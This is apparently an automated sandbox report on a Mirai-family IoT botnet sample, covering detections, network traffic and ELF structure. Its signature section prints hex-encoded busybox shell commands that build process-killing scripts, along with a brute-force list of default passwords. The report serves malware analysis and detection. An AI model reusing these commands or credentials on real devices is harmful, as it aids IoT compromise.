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Linux Analysis Report
arc.elf

Overview

General Information

Sample name:arc.elf
Analysis ID:1654497
MD5:10e60e0fb62517824dce16e890ed0bee
SHA1:2c6adfeff3b5a265be2540a1494d8ffbba7a3dba
SHA256:8aea71c8fcd167641df80aa969234640f93d3e3f9b4340e70f7ea9c36fe8e66d
Tags:elfuser-abuse_ch
Infos:
Errors
  • No process behavior to analyse as no analysis process or sample was found

Detection

Mirai
Score:56
Range:0 - 100

Signatures

Multi AV Scanner detection for submitted file
Yara detected Mirai
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample contains strings indicative of password brute-forcing capabilities
Sample has stripped symbol table
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Classification

RansomwareSpreadingPhishingBankerTrojan / BotAdwareSpywareExploiterEvaderMinercleansuspiciousmalicious
Joe Sandbox version:42.0.0 Malachite
Analysis ID:1654497
Start date and time:2025-04-02 11:46:23 +02:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 37s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:arc.elf
Detection:MAL
Classification:mal56.troj.linELF@0/0@0/0
  • No process behavior to analyse as no analysis process or sample was found
Command:/tmp/arc.elf
PID:6251
Exit Code:255
Exit Code Info:
Killed:False
Standard Output:

Standard Error:
NameDescriptionAttributionBlogpost URLsLink
MiraiMirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai
SourceRuleDescriptionAuthorStrings
arc.elfJoeSecurity_Mirai_8Yara detected MiraiJoe Security
    No Suricata rule has matched

    Click to jump to signature section

    Show All Signature Results

    AV Detection

    barindex
    Source: arc.elfVirustotal: Detection: 43%Perma Link
    Source: arc.elfReversingLabs: Detection: 36%
    Source: global trafficTCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
    Source: global trafficTCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
    Source: global trafficTCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
    Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
    Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.43
    Source: unknownTCP traffic detected without corresponding DNS query: 109.202.202.202
    Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
    Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.43
    Source: unknownTCP traffic detected without corresponding DNS query: 109.202.202.202
    Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
    Source: unknownNetwork traffic detected: HTTP traffic on port 43928 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 42836 -> 443
    Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne "\x77\x68\x69\x6c\x65\x20\x72\x65\x61\x64\x20\x2d\x72\x20\x6c\x3b\x20\x64\x6f\x20\x6d\x70\x3d\x24\x28\x65\x63\x68\x6f\x20\x22\x24" > kmount
    Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne "\x6c\x22\x20\x7c\x20\x61\x77\x6b\x20\x27\x7b\x70\x72\x69\x6e\x74\x20\x24\x32\x7d\x27\x20\x7c\x20\x73\x65\x64\x20\x27\x73\x2f\x5c" >> kmount
    Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne "\x5c\x30\x34\x30\x2f\x20\x2f\x67\x27\x29\x3b\x20\x63\x61\x73\x65\x20\x22\x24\x6d\x70\x22\x20\x69\x6e\x20\x2f\x70\x72\x6f\x63\x2f" >> kmount
    Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne "\x5b\x30\x2d\x39\x5d\x2a\x29\x20\x70\x69\x64\x3d\x24\x7b\x6d\x70\x23\x2f\x70\x72\x6f\x63\x2f\x7d\x3b\x20\x5b\x20\x2d\x64\x20\x22" >> kmount
    Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne "\x2f\x70\x72\x6f\x63\x2f\x24\x70\x69\x64\x22\x20\x5d\x20\x26\x26\x20\x6b\x69\x6c\x6c\x20\x2d\x39\x20\x22\x24\x70\x69\x64\x22\x20" >> kmount
    Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne "\x32\x3e\x2f\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x26\x26\x20\x75\x6d\x6f\x75\x6e\x74\x20\x22\x24\x6d\x70\x22\x20\x32\x3e\x2f\x64" >> kmount
    Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne "\x65\x76\x2f\x6e\x75\x6c\x6c\x3b\x3b\x20\x65\x73\x61\x63\x3b\x20\x64\x6f\x6e\x65\x20\x3c\x20\x2f\x70\x72\x6f\x63\x2f\x6d\x6f\x75" >> kmount
    Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne "\x6e\x74\x73" >> kmount
    Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne "\x66\x6f\x72\x20\x70\x69\x64\x20\x69\x6e\x20\x2f\x70\x72\x6f\x63\x2f\x5b\x30\x2d\x39\x5d\x2a\x3b\x20\x64\x6f\x20\x70\x69\x64\x5f" > swan
    Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne "\x6e\x75\x6d\x3d\x22\x24\x7b\x70\x69\x64\x23\x23\x2a\x2f\x7d\x22\x3b\x20\x69\x66\x20\x5b\x20\x2d\x72\x20\x22\x24\x70\x69\x64\x2f" >> swan
    Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne "\x6d\x61\x70\x73\x22\x20\x5d\x3b\x20\x74\x68\x65\x6e\x20\x73\x75\x73\x70\x69\x63\x69\x6f\x75\x73\x3d\x74\x72\x75\x65\x3b\x20\x77" >> swan
    Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne "\x68\x69\x6c\x65\x20\x49\x46\x53\x3d\x20\x72\x65\x61\x64\x20\x2d\x72\x20\x6c\x69\x6e\x65\x3b\x20\x64\x6f\x20\x63\x61\x73\x65\x20" >> swan
    Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne "\x22\x24\x6c\x69\x6e\x65\x22\x20\x69\x6e\x20\x2a\x22\x2f\x6c\x69\x62\x2f\x22\x2a\x7c\x2a\x22\x2f\x6c\x69\x62\x36\x34\x2f\x22\x2a" >> swan
    Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne "\x7c\x2a\x22\x2e\x73\x6f\x22\x2a\x29\x20\x73\x75\x73\x70\x69\x63\x69\x6f\x75\x73\x3d\x66\x61\x6c\x73\x65\x3b\x20\x62\x72\x65\x61" >> swan
    Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne "\x6b\x3b\x3b\x20\x65\x73\x61\x63\x3b\x20\x64\x6f\x6e\x65\x20\x3c\x20\x22\x24\x70\x69\x64\x2f\x6d\x61\x70\x73\x22\x3b\x20\x69\x66" >> swan
    Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne "\x20\x5b\x20\x22\x24\x73\x75\x73\x70\x69\x63\x69\x6f\x75\x73\x22\x20\x3d\x20\x74\x72\x75\x65\x20\x5d\x3b\x20\x74\x68\x65\x6e\x20" >> swan
    Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne "\x6b\x69\x6c\x6c\x20\x2d\x39\x20\x22\x24\x70\x69\x64\x5f\x6e\x75\x6d\x22\x3b\x20\x66\x69\x3b\x20\x66\x69\x3b\x20\x64\x6f\x6e\x65" >> swan
    Source: Initial sampleString containing 'busybox' found: sh kmount/bin/busybox echo -ne "\x66\x6f\x72\x20\x70\x69\x64\x20\x69\x6e\x20\x2f\x70\x72\x6f\x63\x2f\x5b\x30\x2d\x39\x5d\x2a\x3b\x20\x64\x6f\x20\x70\x69\x64\x5f" > swan
    Source: Initial sampleString containing potential weak password found: 12345
    Source: Initial sampleString containing potential weak password found: 54321
    Source: Initial sampleString containing potential weak password found: 654321
    Source: Initial sampleString containing potential weak password found: admin1234
    Source: Initial sampleString containing potential weak password found: administrator
    Source: Initial sampleString containing potential weak password found: supervisor
    Source: Initial sampleString containing potential weak password found: password
    Source: Initial sampleString containing potential weak password found: default
    Source: Initial sampleString containing potential weak password found: guest
    Source: Initial sampleString containing potential weak password found: service
    Source: Initial sampleString containing potential weak password found: support
    Source: ELF static info symbol of initial sample.symtab present: no
    Source: classification engineClassification label: mal56.troj.linELF@0/0@0/0

    Stealing of Sensitive Information

    barindex
    Source: Yara matchFile source: arc.elf, type: SAMPLE

    Remote Access Functionality

    barindex
    Source: Yara matchFile source: arc.elf, type: SAMPLE
    ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
    Gather Victim Identity InformationAcquire InfrastructureValid AccountsWindows Management InstrumentationPath InterceptionPath InterceptionDirect Volume Access1
    Brute Force
    System Service DiscoveryRemote ServicesData from Local System1
    Encrypted Channel
    Exfiltration Over Other Network MediumAbuse Accessibility Features
    CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
    Application Layer Protocol
    Exfiltration Over BluetoothNetwork Denial of Service
    No configs have been found
    Hide Legend

    Legend:

    • Process
    • Signature
    • Created File
    • DNS/IP Info
    • Is Dropped
    • Number of created Files
    • Is malicious
    • Internet
    behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1654497 Sample: arc.elf Startdate: 02/04/2025 Architecture: LINUX Score: 56 6 109.202.202.202, 80 INIT7CH Switzerland 2->6 8 91.189.91.42, 443 CANONICAL-ASGB United Kingdom 2->8 10 91.189.91.43, 443 CANONICAL-ASGB United Kingdom 2->10 12 Multi AV Scanner detection for submitted file 2->12 14 Yara detected Mirai 2->14 signatures3
    SourceDetectionScannerLabelLink
    arc.elf43%VirustotalBrowse
    arc.elf36%ReversingLabsLinux.Backdoor.Gafgyt
    No Antivirus matches
    No Antivirus matches
    No Antivirus matches

    Download Network PCAP: filteredfull

    No contacted domains info
    • No. of IPs < 25%
    • 25% < No. of IPs < 50%
    • 50% < No. of IPs < 75%
    • 75% < No. of IPs
    IPDomainCountryFlagASNASN NameMalicious
    109.202.202.202
    unknownSwitzerland
    13030INIT7CHfalse
    91.189.91.43
    unknownUnited Kingdom
    41231CANONICAL-ASGBfalse
    91.189.91.42
    unknownUnited Kingdom
    41231CANONICAL-ASGBfalse
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                                            No context
                                            No context
                                            No created / dropped files found
                                            File type:ELF 32-bit LSB executable, Synopsys ARCompact ARC700 cores, version 1 (SYSV), dynamically linked, stripped
                                            Entropy (8bit):6.380542222642786
                                            TrID:
                                            • ELF Executable and Linkable format (generic) (4004/1) 98.45%
                                            • Lumena CEL bitmap (63/63) 1.55%
                                            File name:arc.elf
                                            File size:124'304 bytes
                                            MD5:10e60e0fb62517824dce16e890ed0bee
                                            SHA1:2c6adfeff3b5a265be2540a1494d8ffbba7a3dba
                                            SHA256:8aea71c8fcd167641df80aa969234640f93d3e3f9b4340e70f7ea9c36fe8e66d
                                            SHA512:ef679c51d45447bb8a22848925aec5b20e63c282817a5b2b08e3da289f50fa0c5ab3a2245172db78def593cbe7f4e1c810e746727e3058646e90071540e98083
                                            SSDEEP:1536:gvwpnHLnZqTLSERoHQ3OPO8JUXsxFlvEc77YgCd9lnOb/LWY:nBHLZAOKoHQ3op2s3ic77YgCd4q
                                            TLSH:33C3AEDBB24F5865C41686F60BCB8B9E2E1322119E8BD5D36E1EA57E357C1CB080E3C1
                                            File Content Preview:.ELF..............].........4...`.......4. ...(.................................. .......................~....... .............................................................................................................................................

                                            ELF header

                                            Class:ELF32
                                            Data:2's complement, little endian
                                            Version:1 (current)
                                            Machine:<unknown>
                                            Version Number:0x1
                                            Type:EXEC (Executable file)
                                            OS/ABI:UNIX - System V
                                            ABI Version:0
                                            Entry Point Address:0x11e88
                                            Flags:0x403
                                            ELF Header Size:52
                                            Program Header Offset:52
                                            Program Header Size:32
                                            Number of Program Headers:5
                                            Section Header Offset:123744
                                            Section Header Size:40
                                            Number of Section Headers:14
                                            Header String Table Index:13
                                            NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
                                            NULL0x00x00x00x00x0000
                                            .initPROGBITS0x101140x1140x220x00x6AX001
                                            .textPROGBITS0x101380x1380x12c940x00x6AX004
                                            .finiPROGBITS0x22dcc0x12dcc0x160x00x6AX001
                                            .rodataPROGBITS0x22de40x12de40x95c00x00x2A004
                                            .tbssNOBITS0x2ffe00x1dfe00x80x00x403WAT004
                                            .fini_arrayFINI_ARRAY0x2ffe00x1dfe00x40x40x3WA004
                                            .ctorsPROGBITS0x2ffe40x1dfe40x80x00x3WA004
                                            .dtorsPROGBITS0x2ffec0x1dfec0x80x00x3WA004
                                            .gotPROGBITS0x2fff40x1dff40x80x00x3WA004
                                            .dataPROGBITS0x300080x1e0080x2c00x00x3WA004
                                            .bssNOBITS0x302c80x1e2c80x7bbc0x00x3WA004
                                            .ARC.attributes<unknown>0x00x1e2c80x320x00x0001
                                            .shstrtabSTRTAB0x00x1e2fa0x650x00x0001
                                            TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
                                            LOAD0x00x100000x100000x1c3a40x1c3a46.65280x5R E0x2000.init .text .fini .rodata
                                            LOAD0x1dfe00x2ffe00x2ffe00x2e80x7ea43.99630x6RW 0x2000.tbss .fini_array .ctors .dtors .got .data .bss
                                            DYNAMIC0x00x00x00x00x00.00000x4R 0x4
                                            DYNAMIC0x1dfe00x2ffe00x2ffe00x00x80.00000x4R 0x4
                                            DYNAMIC0x00x00x00x00x00.00000x6RW 0x4

                                            Download Network PCAP: filteredfull

                                            • Total Packets: 7
                                            • 443 (HTTPS)
                                            • 80 (HTTP)
                                            TimestampSource PortDest PortSource IPDest IP
                                            Apr 2, 2025 11:47:17.018874884 CEST43928443192.168.2.2391.189.91.42
                                            Apr 2, 2025 11:47:22.394579887 CEST42836443192.168.2.2391.189.91.43
                                            Apr 2, 2025 11:47:23.418013096 CEST4251680192.168.2.23109.202.202.202
                                            Apr 2, 2025 11:47:38.775857925 CEST43928443192.168.2.2391.189.91.42
                                            Apr 2, 2025 11:47:49.014354944 CEST42836443192.168.2.2391.189.91.43
                                            Apr 2, 2025 11:47:53.109806061 CEST4251680192.168.2.23109.202.202.202
                                            Apr 2, 2025 11:48:19.730216980 CEST43928443192.168.2.2391.189.91.42

                                            System Behavior